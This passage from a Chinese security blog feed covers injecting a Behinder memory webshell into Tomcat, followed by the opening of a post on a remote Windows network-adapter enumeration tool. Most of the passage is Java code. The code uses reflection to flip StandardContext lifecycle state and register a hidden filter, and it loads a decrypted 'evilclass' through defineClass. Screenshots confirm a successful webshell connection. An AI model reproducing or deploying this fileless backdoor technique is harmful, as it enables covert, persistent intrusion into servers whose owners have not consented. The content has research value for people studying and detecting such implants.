style="box-sizing: border-box;line-height: 26px;">        javax.servlet.ServletContext servletContext = request.getServletContext();</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        if (servletContext.getFilterRegistration(name) == null) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            java.lang.reflect.Field contextField = null;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            org.apache.catalina.core.ApplicationContext applicationContext = null;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            org.apache.catalina.core.StandardContext standardContext = null;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            java.lang.reflect.Field stateField = null;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            javax.servlet.FilterRegistration.Dynamic filterRegistration = null;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            try {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                contextField = servletContext.getClass().getDeclaredField(&#34;context&#34;);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                contextField.setAccessible(true);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                contextField = applicationContext.getClass().getDeclaredField(&#34;context&#34;);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                contextField.setAccessible(true);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                standardContext = (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField(&#34;state&#34;);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                stateField.setAccessible(true);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                filterRegistration = servletContext.addFilter(name, filter);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{url});</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod(&#34;filterStart&#34;);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                filterStartMethod.setAccessible(true);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                filterStartMethod.invoke(standardContext, null);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            } catch (Exception e) {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                ;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            } finally {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">        }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    }</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">}</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code></pre></section><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">报错汇总如下：</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;border-radius: 0px;">1. 无法new一个新的PageContext<br/>2. 无法调用class U中的方法<br/></code></pre><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这时候回忆一下我们的流程：</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;border-radius: 0px;">1. 注入PageContext并实例化<br/>2. 注入冰蝎并实例化<br/></code></pre><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">但是我们要思考new是一个怎么样的过程</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang=""><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">1.首先去JVM 的方法区中区寻找类的class对象，如果能找到，则按照定义生成对象，找不到则转2</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">2.加载类定义：类加载器（classLoader）寻找该类的 .class文件，找到后对文件进行分析转换为class对象存入方法区方便以后调用。</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    其中jdk 的class一般是在jvm启动时用启动类加载器完成加载，用户的class则是在用到的时候再加载。</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    Java中ClassLoader的加载采用了双亲委托机制，采用双亲委托机制加载类的时候采用如下的几个步骤：</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">1.  当前ClassLoader首先从自己已经加载的类中查询是否此类已经加载，如果已经加载则直接返回原来已经加载的类。</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">每个类加载器都有自己的加载缓存，当一个类被加载了以后就会放入缓存，等下次加载的时候就可以直接返回了。</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">2.  当前classLoader的缓存中没有找到被加载的类的时候，委托父类加载器去加载，父类加载器采用同样的策略，首先查看自己的缓存，然后委托父类的父类去加载，一直到bootstrp ClassLoader.</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">3.  当所有的父类加载器都没有加载的时候，再由当前的类加载器加载，并将其放入它自己的缓存中，以便下次有加载请求的时候直接返回。</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">PS：方法区：在一个jvm实例的内部，类型信息被存储在一个称为方法区的内存逻辑区中。类型信息是由类加载器在类加载时从类文件中提取出来的。类(静态)变量也存储在方法区中</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">于是即使有了实例化的class，也不能使其在方法区有一席之地，但是他有没有文件，所以就无法被ClassLoader加载，也就导致了上述的问题</span></code></pre></section><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">解决方案</span><span style="box-sizing: border-box;"></span></h2><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">自定义的类加载器：</p><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">因为我们不能实例化自己的类加载器，所以我们就使用反射的方法，调用ClassLoard，不过这里也有一个坑点，就是抽象类，是不可以作为invoke()的第一个参数，所以要使用一个他的继承类作为替代品</p></section></li></ol><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang=""><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">	Method method = Class.forName(&#34;java.lang.ClassLoader&#34;).getDeclaredMethod(</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    	            &#34;defineClass&#34;,</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    	            byte[].class,</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    	            int.class, int.class);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    	    method.setAccessible(true);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    byte[] evilclass_byte = c.doFinal(evil_bytes);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">            Class evilclass = (Class) method.invoke(xxxxx.getClassLoader(),</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                    evilclass_byte,0,</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">                    evilclass_byte.length);</span></code></pre></section><p style="box-sizing: border-box;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">	2.PageContext： 由于我们只有一个实例化的class，我的方案就是服用他，将他作为一个属性，注入到冰蝎马的实例过程中，即设置一个含参的构造方法</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang=""><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">public MemBehinder2(PageContext pageContext){</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">       this.pageContext = pageContext;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-radius: 0px;"><span class="code-snippet_outer" style="box-sizing: border-box;line-height: 26px;">    		}</span></code></pre></section><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">最后实现成果</section></li></ul><figure style="box-sizing: border-box;display: flex;margin-top: 10px;margin-bottom: 10px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="0.24660814046288906" style="box-sizing: border-box;vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2506" src="https://wechat2rss.xlab.app/img-proxy/?k=f2ca2d2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfjyz1LBibkY4KW1AceK8VQvNIXHMaUltiamGia8LYgncTCA6bLaRBHbpETY8v7sqnRGicCyMsnP1JhVQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">image-20200723222617152</figcaption></figure><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">出现密钥交互</section></li></ul><figure style="box-sizing: border-box;display: flex;margin-top: 10px;margin-bottom: 10px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="0.15130023640661938" style="box-sizing: border-box;vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2538" src="https://wechat2rss.xlab.app/img-proxy/?k=8836c0f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfjyz1LBibkY4KW1AceK8VQvbR1ykppolByFGhOJxlV8mVsicnClGxx7HT4c8cibhl9pmMnoCVRkYlyg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">image-20200723222916478</figcaption></figure><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">连接成果</section></li></ul><figure style="box-sizing: border-box;display: flex;margin-top: 10px;margin-bottom: 10px;flex-direction: column;justify-content: center;align-items: center;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="0.5811320754716981" style="box-sizing: border-box;vertical-align: middle;border-style: none;display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1590" src="https://wechat2rss.xlab.app/img-proxy/?k=b3d39eba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfjyz1LBibkY4KW1AceK8VQvedGpb3Fe0BgiaAWNfzsCT6oNYiaVU259qBLUIJ00aptdLTs941vRPxLA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 14px;">image-20200723223133705</figcaption></figure><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">总结</span><span style="box-sizing: border-box;"></span></h2><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">冰蝎出现密钥交互，并不代表成功了，原因在于密钥交互的回显用的并不是PageContext，不能作为我们注入成功的依据</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">学会研究报错，报错会告诉我们哪里出了问题</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">FB师傅tql</section></li></ol><p><br/></p>



<p><a href="2247484318">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f4975816&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484318%26idx%3D1%26sn%3Dece9e52218be0ea84ef166c3bfd20f23%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 26 Jul 2020 12:36:00 +0800</pubDate>
    </item>
    <item>
      <title>OXID_Find：通过OXID解析器获取Windows远程主机上网卡地址</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484307&amp;idx=1&amp;sn=e790acbb8370fa56bb34802188e2f955</link>
      <description>C++OXID_Find 通过OXID解析器获取Windows远程主机上网卡地址</description>
      <content:encoded><![CDATA[<p>
原创 <span>uknowsec</span> <span>2020-07-19 16:49</span> <span style="display: inline-block;"></span>
</p>

<p>C++OXID_Find 通过OXID解析器获取Windows远程主机上网卡地址</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3cd30869&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvdnun5rzv0RVHz9o3WepnBXYakcHyiaIsHl8mTMnsbqCnhibk0giam3PP6gYZLcc0B1l9SKykGhniaESA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


